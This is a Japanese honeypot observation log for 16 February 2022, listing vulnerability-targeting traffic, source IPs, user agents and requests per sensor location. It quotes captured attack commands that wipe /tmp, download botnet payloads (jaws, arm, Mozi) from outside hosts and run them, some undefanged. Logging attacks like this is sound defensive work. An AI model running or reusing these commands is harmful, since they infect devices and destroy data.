2022/02/16 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/02/16分です。

特徴

共通

D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
/.envへのスキャン行為
Laravelへのスキャン行為

Location:JP

JBossの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
curlによるスキャン行為
zgrabによるスキャン行為
Apache Tomcatへのスキャン行為
WordPressへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  botaflatoon.sytes.net/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget  http://23.94.7.175/.s4y/arm;
sh /tmp/arm

cd /tmp;
rm -rf *;
wget 0.0.0.0/jaws;
sh /tmp/jaws

Location:US

JBossの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
WordPressへのスキャン行為
5.188.210.227に関する不正通信
UserAgentがHello, Worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  http://23.94.7.175/.s4y/arm;
sh /tmp/arm

Location:UK

Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
zgrabによるスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
110.242.68.4に関する不正通信
112.124.42.80に関する不正通信

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  botaflatoon.sytes.net/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget  http://23.94.7.175/.s4y/arm;
sh /tmp/arm

Location:SG

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
110.242.68.4に関する不正通信
112.124.42.80に関する不正通信
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  http://23.94.7.175/.s4y/arm;
sh /tmp/arm

cd /tmp;
rm -rf *;
wget http://58.249.16.18:45906/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

他

アクセス数推移

JP：総アクセス数：145 (前日比：-236)
US：総アクセス数：113 (前日比：39)
UK：総アクセス数：70 (前日比：31)
SG：総アクセス数：117 (前日比：-91)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.62.71.190	United States
2	20.106.90.127	United States
4	20.124.126.84	United States
1	20.127.108.142	United States
1	23.95.100.141	United States
4	23.224.186.218	United States
2	34.88.222.191	United States
40	34.224.5.167	United States
1	42.228.42.183	China
1	45.83.64.119	Germany
1	45.132.227.248	Netherlands
8	47.242.81.74	United States
1	52.188.117.211	United States
1	59.96.53.69	India
1	61.219.11.151	Taiwan
1	62.171.150.168	Germany
1	66.240.205.34	United States
1	77.247.93.41	Albania
5	83.143.86.62	Norway
1	85.202.169.113	Netherlands
1	103.147.40.250	Bangladesh
1	104.244.78.87	United States
2	107.175.32.194	United States
1	107.189.1.106	United States
1	109.237.103.9	Russia
2	109.237.103.38	Russia
1	112.124.106.120	China
1	128.1.132.71	United States
7	132.145.39.16	United States
8	135.125.217.54	France
3	135.125.246.189	France
1	139.162.145.250	Netherlands
2	147.124.216.203	United States
2	147.124.218.66	United States
1	147.182.231.20	United States
1	172.105.89.161	United States
1	173.249.53.50	Germany
1	178.72.75.163	Russia
1	178.239.21.165	Poland
2	185.156.72.27	Russia
1	185.180.143.8	Portugal
5	185.254.196.217	Ukraine
3	185.254.196.218	Ukraine
1	192.144.113.94	Peru
1	196.191.101.189	Ethiopia
1	200.114.66.4	Chile
10	203.197.142.35	India
1	213.6.76.117	Palestine
1	220.184.87.150	China
2	222.186.19.235	China
1	223.223.181.77	China

UserAgent一覧

件数	UserAgent
36	`-`
3	`Go-http-client/1.1`
2	`Hello, World`
1	`Hello, world`
3	`Mozila/5.0`
1	`Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
40	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0`
10	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0`
1	`Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3`
1	`Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.04 Chromium/14.0.804.0 Chrome/14.0.804.0 Safari/535.1`
31	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
4	`Mozilla/5.0 (compatible;)`
5	`Mozilla/5.0 zgrab/0.x`
2	`curl/7.75.0`

リクエスト内容一覧

件数	Method	Request	Protocol
2		`-`
1		`Gh0st\xad`
2		`\x03`
1		`\x16\x03\x01\x01C\x01`
1		`\x16\x03\x01\x01\xfa\x01`
3		`\x16\x03\x01\x02`
3		`\x16\x03\x01`
34	GET	`/.env`	HTTP/1.1
1	GET	`/0bef`	HTTP/1.0
1	GET	`/?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=3fujjtkn`	HTTP/1.1
1	GET	`/?scopeName=All&q=%harrisite%`	HTTP/1.0
1	GET	`/HNAP1`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
2	GET	`/app/.env`	HTTP/1.1
1	GET	`/application/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/auth/.env`	HTTP/1.1
1	GET	`/back/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/bag2`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=adminisp&psd=adminisp`	HTTP/1.0
1	GET	`/cgi-bin/check_auth.cgi`	HTTP/1.1
1	GET	`/cgi-bin/index.html`	HTTP/1.1
1	GET	`/cgi-bin/login.cgi`	HTTP/1.1
1	GET	`/cgi-bin/main.cgi`	HTTP/1.1
1	GET	`/cli/.env`	HTTP/1.1
1	GET	`/config/.env`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/cp/.env`	HTTP/1.1
1	GET	`/debug/default/view?panel=config`	HTTP/1.1
1	GET	`/dependencies/.env`	HTTP/1.1
1	GET	`/deployment/.env`	HTTP/1.1
1	GET	`/dev/.env`	HTTP/1.1
1	GET	`/development/.env`	HTTP/1.1
1	GET	`/docker/.env`	HTTP/1.1
1	GET	`/document/.env`	HTTP/1.1
1	GET	`/engine/.env`	HTTP/1.1
1	GET	`/evox/about`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/framework/.env`	HTTP/1.1
1	GET	`/frontend/.env`	HTTP/1.1
1	GET	`/hunmj_serverApi/test.php`	HTTP/1.1
1	GET	`/info.php`	HTTP/1.1
1	GET	`/invoker/readonly`	HTTP/1.1
1	GET	`/jenkins/login`	HTTP/1.1
1	GET	`/laravel-artisa/.env`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
2	GET	`/login/.env`	HTTP/1.1
1	GET	`/login`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/master/.env`	HTTP/1.1
1	GET	`/personal/.env`	HTTP/1.1
1	GET	`/phpinfo.php`	HTTP/1.1
1	GET	`/private/.env`	HTTP/1.1
1	GET	`/project/.env`	HTTP/1.1
1	GET	`/protected/.env`	HTTP/1.1
1	GET	`/public/.env`	HTTP/1.1
1	GET	`/rest/.env`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/script`	HTTP/1.1
1	GET	`/search/.env`	HTTP/1.1
1	GET	`/server/.env`	HTTP/1.1
1	GET	`/shared/.env`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ botaflatoon.sytes.net/jaws;sh+/tmp/jaws`
5	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//23[.]94[.]7[.]175/.s4y/arm;sh+/tmp/arm`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+0[.]0[.]0[.]0/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/showLogin.cc`	HTTP/1.1
1	GET	`/site/.env`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/src/.env`	HTTP/1.1
1	GET	`/storage/.env`	HTTP/1.1
1	GET	`/system/.env`	HTTP/1.1
1	GET	`/text4041644898932`	HTTP/1.1
1	GET	`/users/sign_in`	HTTP/1.1
1	GET	`/vendor/.env`	HTTP/1.1
1	GET	`/vod_installer/.env`	HTTP/1.1
1	GET	`/vue/.env`	HTTP/1.1
1	GET	`/web/.env`	HTTP/1.1
1	GET	`/wp-admin`	HTTP/1.1
1	GET	`/wp-login.php`	HTTP/1.1
1	GET	`/www/.env`	HTTP/1.1
2	GET	`http[:]//fuwu[.]sogou[.]com/404/index.html`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
2	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
3	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/_ignition/execute-solution`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/sdk`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.188.210.227	Russia
17	20.119.220.193	United States
1	23.95.100.141	United States
2	34.159.181.81	United States
1	40.122.156.208	United States
1	45.83.65.170	Germany
7	45.146.165.37	Russia
1	45.180.150.108	Brazil
1	45.191.79.180	Brazil
1	51.79.29.48	Canada
1	61.219.11.151	Taiwan
1	64.227.167.186	United States
1	88.208.198.243	United Kingdom
2	94.232.43.63	Russia
40	100.25.171.174	United States
1	104.244.78.87	United States
1	107.189.8.191	United States
1	109.237.103.9	Russia
2	109.237.103.38	Russia
1	112.254.241.186	China
2	139.64.132.151	United States
1	139.162.145.250	Netherlands
4	154.198.211.138	United States
1	162.142.125.8	United States
1	172.105.89.161	United States
1	173.249.53.50	Germany
1	178.79.138.195	United States
2	185.156.72.27	Russia
1	187.34.53.221	Brazil
10	203.197.142.35	India
1	209.17.97.42	United States
1	218.94.202.186	China
3	222.186.19.235	China

UserAgent一覧

件数	UserAgent
19	`-`
3	`Go-http-client/1.1`
1	`Hello, World`
1	`Mozila/5.0`
1	`Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
24	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
40	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0`
10	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36`
1	`Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.20 Safari/532.0`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30`
7	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
4		`\x03`
1		`\x16\x03\x01\x01C\x01`
1		`\x16\x03\x01\x01\xfb\x01`
4		`\x16\x03\x01`
8	GET	`/.env`	HTTP/1.1
1	GET	`/0bef`	HTTP/1.0
1	GET	`/2018/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/2019/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=3fujjtkn`	HTTP/1.1
1	GET	`/?scopeName=All&q=%amphiprotic%`	HTTP/1.0
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/application/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/auth/.env`	HTTP/1.1
1	GET	`/back/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/bag2`	HTTP/1.1
1	GET	`/blog/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/cli/.env`	HTTP/1.1
1	GET	`/cms/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/config/.env`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/cp/.env`	HTTP/1.1
1	GET	`/dependencies/.env`	HTTP/1.1
1	GET	`/deployment/.env`	HTTP/1.1
1	GET	`/dev/.env`	HTTP/1.1
1	GET	`/development/.env`	HTTP/1.1
1	GET	`/docker/.env`	HTTP/1.1
1	GET	`/document/.env`	HTTP/1.1
1	GET	`/engine/.env`	HTTP/1.1
2	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/framework/.env`	HTTP/1.1
1	GET	`/frontend/.env`	HTTP/1.1
1	GET	`/invoker/readonly`	HTTP/1.1
1	GET	`/jenkins/login`	HTTP/1.1
1	GET	`/laravel-artisa/.env`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
1	GET	`/login/.env`	HTTP/1.1
1	GET	`/login`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/master/.env`	HTTP/1.1
1	GET	`/news/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/personal/.env`	HTTP/1.1
1	GET	`/private/.env`	HTTP/1.1
1	GET	`/project/.env`	HTTP/1.1
1	GET	`/protected/.env`	HTTP/1.1
1	GET	`/rest/.env`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/script`	HTTP/1.1
1	GET	`/search/.env`	HTTP/1.1
1	GET	`/server/.env`	HTTP/1.1
1	GET	`/shared/.env`	HTTP/1.1
4	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//23[.]94[.]7[.]175/.s4y/arm;sh+/tmp/arm`
1	GET	`/shop/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/site/.env`	HTTP/1.1
1	GET	`/site/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/sito/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/src/.env`	HTTP/1.1
1	GET	`/system/.env`	HTTP/1.1
1	GET	`/test/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/users/sign_in`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/vod_installer/.env`	HTTP/1.1
1	GET	`/vue/.env`	HTTP/1.1
1	GET	`/web/.env`	HTTP/1.1
1	GET	`/web/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/website/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wordpress/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp-login.php`	HTTP/1.1
1	GET	`/wp/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp1/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp2/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/xmlrpc.php?rsd`	HTTP/1.1
1	GET	`http[:]//5[.]188[.]210[.]227/echo.php`	HTTP/1.1
2	GET	`http[:]//fuwu[.]sogou[.]com/404/index.html`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/_ignition/execute-solution`	HTTP/1.1
2	POST	`/boaform/admin/formLogin`	HTTP/1.1
2	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	31.184.197.10	Russia
1	34.86.35.25	United States
2	34.159.181.81	United States
1	36.106.167.102	China
1	42.225.240.244	China
1	42.235.95.123	China
1	45.83.65.194	Germany
1	45.132.227.248	Netherlands
3	45.137.21.134	Bangladesh
6	45.146.165.37	Russia
1	45.180.150.107	Brazil
1	58.19.62.211	China
1	60.13.6.145	China
1	60.191.125.35	China
1	61.219.11.151	Taiwan
1	72.47.16.108	United States
5	83.143.86.62	Norway
2	94.232.43.63	Russia
1	101.249.63.150	China
6	103.159.33.196	India
1	104.244.78.87	United States
1	106.75.134.116	China
1	107.189.1.106	United States
1	109.237.103.9	Russia
2	109.237.103.38	Russia
1	109.237.103.123	Russia
1	112.66.105.3	China
1	112.80.137.93	China
1	112.230.43.87	China
1	122.96.28.106	China
1	125.78.225.4	China
1	139.59.135.215	Singapore
1	139.162.145.250	Netherlands
4	156.251.172.154	United States
2	157.245.70.127	United States
1	172.105.89.161	United States
1	173.249.53.50	Germany
1	183.136.226.4	China
1	185.106.157.227	Kazakhstan
2	185.156.72.27	Russia
1	185.180.143.138	Portugal
1	209.17.96.2	United States
1	220.200.178.74	China
3	222.186.19.235	China

UserAgent一覧

件数	UserAgent
27	`-`
3	`Go-http-client/1.1`
2	`Mozila/5.0`
1	`Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36`
4	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
6	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
1	`Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
1	`Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19`
5	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
3	`Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X; en-US) AppleWebKit/531.5.2 (KHTML, like Gecko) Version/4.0.5 Mobile/8B116 Safari/6531.5.2`
1	`Mozilla/5.0 Gecko/20100101`
5	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla/5.01715179 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 OPR/55.0.2994.44`
4	`PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
4		`\x03`
1		`\x16\x03\x01\x01C\x01`
1		`\x16\x03\x01\x01\xfc\x01`
5		`\x16\x03\x01`
1	CONNECT	`cn[.]bing[.]com:443`	HTTP/1.1
1	CONNECT	`www[.]baidu[.]com:443`	HTTP/1.1
1	CONNECT	`www[.]so[.]com:443`	HTTP/1.1
1	CONNECT	`www[.]voanews[.]com:443`	HTTP/1.1
5	GET	`/.env`	HTTP/1.1
1	GET	`/0bef`	HTTP/1.0
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/?scopeName=All&q=%fum%`	HTTP/1.0
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
1	GET	`/bag2`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=adminisp&psd=adminisp`	HTTP/1.0
1	GET	`/cgi-bin/check_auth.cgi`	HTTP/1.1
1	GET	`/cgi-bin/index.html`	HTTP/1.1
1	GET	`/cgi-bin/login.cgi`	HTTP/1.1
1	GET	`/cgi-bin/main.cgi`	HTTP/1.1
3	GET	`/dispatch.asp`	HTTP/1.1
4	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//125[.]78[.]225[.]4:54753/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
6	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ botaflatoon.sytes.net/jaws;sh+/tmp/jaws`
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//23[.]94[.]7[.]175/.s4y/arm;sh+/tmp/arm`
1	GET	`/showLogin.cc`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/wp-admin`	HTTP/1.1
1	GET	`http[:]//dongtaiwang[.]com/`	HTTP/1.1
2	GET	`http[:]//fuwu[.]sogou[.]com/404/index.html`	HTTP/1.1
1	GET	`http[:]//www[.]epochtimes[.]com/`	HTTP/1.1
1	GET	`http[:]//www[.]soso[.]com/`	HTTP/1.1
1	GET	`http[:]//www[.]wujieliulan[.]com/`	HTTP/1.1
1	HEAD	`http[:]//110[.]242[.]68[.]4/`	HTTP/1.1
1	HEAD	`http[:]//112[.]124[.]42[.]80:63435/`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
2	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/boaform/admin/formLogin`	HTTP/1.1

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.55.53.144	United States
1	20.127.108.142	United States
1	23.95.100.141	United States
1	27.224.136.9	China
1	27.224.137.205	China
1	34.96.130.25	United States
40	35.153.50.191	United States
2	40.71.60.51	United States
1	45.83.65.146	Germany
1	45.87.61.53	United States
8	45.146.165.37	Russia
1	49.143.32.6	South Korea
6	51.79.29.48	Canada
3	51.81.159.11	United States
1	58.249.16.18	China
1	60.191.125.35	China
1	61.219.11.151	Taiwan
1	72.167.47.69	United States
2	94.232.43.63	Russia
1	101.249.60.151	China
1	107.189.10.196	United States
1	109.237.103.9	Russia
2	109.237.103.38	Russia
1	110.167.215.245	China
1	110.177.180.203	China
1	115.148.154.241	China
1	117.22.144.229	China
1	123.145.26.134	China
1	123.160.172.40	China
1	139.162.145.250	Netherlands
2	140.228.29.50	United States
2	157.230.216.203	United States
1	162.142.125.9	United States
1	162.142.125.219	United States
1	167.94.145.59	United States
1	171.36.141.241	China
1	172.105.89.161	United States
1	173.249.53.50	Germany
1	178.176.194.62	Russia
1	179.48.123.120	Brazil
1	185.106.156.49	Kazakhstan
1	185.254.196.223	Ukraine
1	190.42.27.210	Peru
5	198.16.62.18	United States
4	198.144.189.10	United States
1	205.185.122.184	United States
1	209.17.96.2	United States
1	209.17.96.42	United States
1	218.63.139.37	China
1	220.198.204.54	China
2	222.186.19.235	China

UserAgent一覧

件数	UserAgent
25	`-`
1	`Hello, World`
1	`Hello, world`
1	`Mozila/5.0`
1	`Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36`
6	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36`
8	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
40	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0`
1	`Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.2 Safari/533.2`
1	`Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0`
21	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.01724933 Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E302`
4	`PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
2		`\x03`
1		`\x16\x03\x01\x01C\x01`
1		`\x16\x03\x01\x02`
3		`\x16\x03\x01`
1	CONNECT	`cn[.]bing[.]com:443`	HTTP/1.1
2	CONNECT	`ip[.]ws[.]126[.]net:443`	HTTP/1.1
1	CONNECT	`www[.]baidu[.]com:443`	HTTP/1.1
1	CONNECT	`www[.]so[.]com:443`	HTTP/1.1
1	CONNECT	`www[.]voanews[.]com:443`	HTTP/1.1
21	GET	`/.env`	HTTP/1.1
1	GET	`/0bef`	HTTP/1.0
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
